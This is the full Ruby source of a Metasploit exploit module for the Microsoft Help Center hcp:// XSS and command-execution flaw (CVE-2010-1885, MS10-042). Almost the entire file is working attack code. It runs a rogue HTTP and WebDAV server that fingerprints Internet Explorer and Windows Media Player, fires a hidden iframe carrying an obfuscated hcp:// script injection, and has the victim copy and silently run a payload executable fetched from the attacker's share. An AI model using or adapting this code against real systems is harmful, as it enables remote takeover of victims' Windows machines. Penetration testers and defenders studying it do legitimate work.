Microsoft Help Center XSS and Command Execution

`##  
# $Id: ms10_042_helpctr_xss_cmd_exec.rb 9810 2010-07-13 19:31:40Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Help Center XSS and Command Execution',  
'Description' => %q{  
Help and Support Center is the default application provided to access online  
documentation for Microsoft Windows. Microsoft supports accessing help documents  
directly via URLs by installing a protocol handler for the scheme "hcp". Due to  
an error in validation of input to hcp:// combined with a local cross site  
scripting vulnerability and a specialized mechanism to launch the XSS trigger,  
arbitrary command execution can be achieved.  
  
On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it  
can be used to launch the exploit automatically. If IE8 and WMP11, either can  
be used to launch the attack, but both pop dialog boxes asking the user if  
execution should continue. This exploit detects if non-intrusive mechanisms are  
available and will use one if possible. In the case of both IE8 and WMP11, the  
exploit defaults to using an iframe on IE8, but is configurable by setting the  
DIALOGMECH option to "none" or "player".  
},  
'Author' =>  
[  
'Tavis Ormandy', # Original discovery  
'natron' # Metasploit version  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9810 $',  
'References' =>  
[  
[ 'CVE', '2010-1885' ],  
[ 'OSVDB', '65264' ],  
[ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ],  
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ],  
[ 'MSB', 'MS10-042']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2048,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DisclosureDate' => 'Jun 09 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on", 80 ]),  
OptString.new( 'URIPATH', [ true, "The URI to use.", "/" ]),  
OptString.new( 'DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])  
], self.class)  
  
deregister_options('SSL', 'SSLVersion') # Just for now  
end  
  
def on_request_uri(cli, request)  
  
# If there is no subdirectory in the request, we need to redirect.  
if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)  
if (request.uri == '/')  
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'  
else  
subdir = request.uri + '/'  
end  
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")  
send_redirect(cli, subdir)  
return  
end  
  
  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
process_get(cli, request)  
else  
print_error("Unexpected request method encountered: #{request.method}")  
end  
  
end  
  
def process_get(cli, request)  
  
@my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"  
@url_base = "http://" + @my_host  
  
if (Regexp.new(Regexp.escape(@payload)+'$', true).match(request.uri))  
print_status "Sending payload executable to target ..."  
return if ((p = regenerate_payload(cli)) == nil)  
  
data = Msf::Util::EXE.to_win32pe(framework, p.encoded)  
  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
if request.uri.match(/\.gif$/)  
# "world's smallest gif"  
data = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01"  
data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"  
print_status "Sending gif image to WMP at #{cli.peerhost}:#{cli.peerport} ..."  
send_response(cli, data, { 'Content-TYpe' => 'image/gif' } )  
end  
  
# ASX Request Inbound  
if request.uri.match(/\.asx$/)  
asx = %Q|<ASX VERSION="3.0">  
<PARAM name="HTMLView" value="URLBASE/STARTHELP"/>  
<ENTRY>  
<REF href="URLBASE/IMGFILE"/>  
</ENTRY>  
</ASX>  
|  
asx.gsub!(/URLBASE/, @url_base)  
asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help)  
asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file)  
print_status("Sending asx file to #{cli.peerhost}:#{cli.peerport} ...")  
send_response(cli, asx, { 'Content-Type' => 'text/html' })  
return  
end  
  
# iframe request inbound from either WMP or IE7  
if request.uri.match(/#{@start_help}/)  
  
help_html = %Q|<iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">|  
  
rand_vbs = rand_text_alpha(rand(2)+1) + ".vbs"  
copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^  
vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false|  
write_vbs = %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}|  
launch_vbs = %Q|cscript %TEMP%\\#{rand_vbs}>nul|  
concat_cmds = "#{write_vbs}|#{launch_vbs}"  
  
eval_block = "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));"  
eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block))  
help_html.gsub!(/COMMANDS/, eval_block)  
print_status("Sending exploit trigger to #{cli.peerhost}:#{cli.peerport} ...")  
send_response(cli, help_html, { 'Content-Type' => 'text/html' })  
return  
end  
  
# default initial response  
js = %Q|  
var asx = "URLBASE/ASXFILE";  
var ifr = "URLBASE/IFRFILE";  
  
function launchiframe(src) {  
var o = document.createElement("IFRAME");  
o.setAttribute("width","0");  
o.setAttribute("height","0");  
o.setAttribute("frameborder","0");  
o.setAttribute("src",src);  
document.body.appendChild(o);  
}  
  
if (window.navigator.appName == "Microsoft Internet Explorer") {  
var ua = window.navigator.userAgent;  
var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");  
re.exec(ua)  
ver = parseFloat( RegExp.$1 );  
  
// if ie8, check WMP version  
if (ver > 7) {  
var o = document.createElement("OBJECT");  
o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");  
o.setAttribute("uiMode", "invisible");  
// if wmp9, go ahead and launch  
if( parseInt(o.versionInfo) < 10 ) {  
o.openPlayer(asx);  
// if > wmp9, only launch if user requests  
} else {  
DIALOGMECH  
}  
// if ie7, use iframe  
} else {  
launchiframe(ifr);  
}  
} else {  
// if other, try iframe  
launchiframe(ifr);  
}  
|  
  
html = %Q|<html>  
<head></head><body><script>JAVASCRIPTFU  
</script>  
</body>  
</html>  
|  
case datastore['DIALOGMECH']  
when "player"  
mech = "o.openPlayer(asx);"  
when "iframe"  
mech = "launchiframe(ifr);"  
when "none"  
mech = ""  
else  
mech = ""  
end  
  
html.gsub!(/JAVASCRIPTFU/, js)  
html.gsub!(/DIALOGMECH/, mech)  
html.gsub!(/URLBASE/, @url_base)  
html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file)  
html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help)  
  
print_status("Sending exploit html to #{cli.peerhost}:#{cli.peerport} ...")  
  
headers = {  
'Content-Type' => 'text/html',  
#'X-UA-Compatible' => 'IE=7'  
}  
  
send_response(cli, html, headers)  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request)  
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")  
headers = {  
#'DASL' => '<DAV:sql>',  
#'DAV' => '1, 2',  
'Allow' => 'OPTIONS, GET, PROPFIND',  
'Public' => 'OPTIONS, GET, PROPFIND'  
}  
send_response(cli, '', headers)  
end  
  
def convert_to_char_code(str)  
return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", nil, 'n')) { |s| s.hex.to_s + "," }.chop  
end  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request)  
path = request.uri  
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")  
body = ''  
  
if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path))  
# Response for the EXE  
print_status("Sending EXE multistatus for #{path} ...")  
#<lp1:getcontentlength>45056</lp1:getcontentlength>  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>  
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>  
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>  
<lp2:executable>F</lp2:executable>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)  
print_status("Sending 404 for #{path} ...")  
send_not_found(cli)  
return  
  
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))  
# Response for anything else (generally just /)  
print_status("Sending directory multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>  
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>  
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
  
else  
print_status("Sending 404 for #{path} ...")  
send_not_found(cli)  
return  
end  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
def exploit  
@random_dir = rand_text_alpha(rand(2)+1)  
@asx_file = rand_text_alpha(rand(2)+1) + ".asx"  
@start_help = rand_text_alpha(rand(2)+1) + ".html"  
@payload = rand_text_alpha(rand(2)+1) + ".exe"  
@img_file = rand_text_alpha(rand(2)+1) + ".gif"  
  
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'  
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'  
end  
  
super  
end  
end  
  
`